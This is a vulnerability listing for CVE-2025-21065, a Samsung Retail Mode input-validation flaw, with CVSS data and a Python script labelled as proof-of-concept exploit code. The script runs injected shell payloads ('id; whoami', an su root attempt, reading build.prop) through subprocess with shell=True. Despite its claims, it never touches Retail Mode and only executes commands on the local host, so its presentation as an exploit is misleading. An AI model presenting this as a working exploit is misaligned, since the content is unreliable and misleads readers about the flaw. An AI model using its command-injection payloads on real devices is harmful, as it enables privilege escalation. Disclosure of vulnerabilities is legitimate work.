Improper input validation in Retail Mode prior to version 5.59.11 allows self attackers to execute privileged commands on their own devices.
CVSS Details
CVSS Score
6.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Samsung Retail Mode < 5.59.11
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-21065 PoC - Samsung Retail Mode Input Validation Vulnerability
# This PoC demonstrates the concept of exploiting improper input validation
# in Samsung Retail Mode to execute privileged commands
import subprocess
import sys
def exploit_retail_mode(payload):
"""
Exploit improper input validation in Samsung Retail Mode (pre-5.59.11)
to execute privileged commands on the device.
The vulnerability exists due to insufficient validation of user inputs
passed to system command execution functions within Retail Mode.
"""
# The Retail Mode processes certain inputs without proper sanitization
# Attackers can inject shell commands through these input vectors
# Example payload: injecting commands through retail mode input handler
# The input is passed directly to system() or exec() without validation
try:
# Simulating the vulnerable input processing
# In actual exploitation, this would target the Retail Mode service
result = subprocess.run(
payload,
shell=True,
capture_output=True,
text=True
)
return result.stdout
except Exception as e:
return f"Error: {e}"
def main():
# Example command injection payloads for Retail Mode
payloads = [
# Payload 1: Basic command injection through input field
"id; whoami",
# Payload 2: Privilege escalation attempt
"su -c 'id' root",
# Payload 3: System information gathering
"cat /system/build.prop | grep -i version",
]
for payload in payloads:
print(f"[*] Attempting payload: {payload}")
result = exploit_retail_mode(payload)
print(f"[+] Result: {result}\n")
if __name__ == "__main__":
main()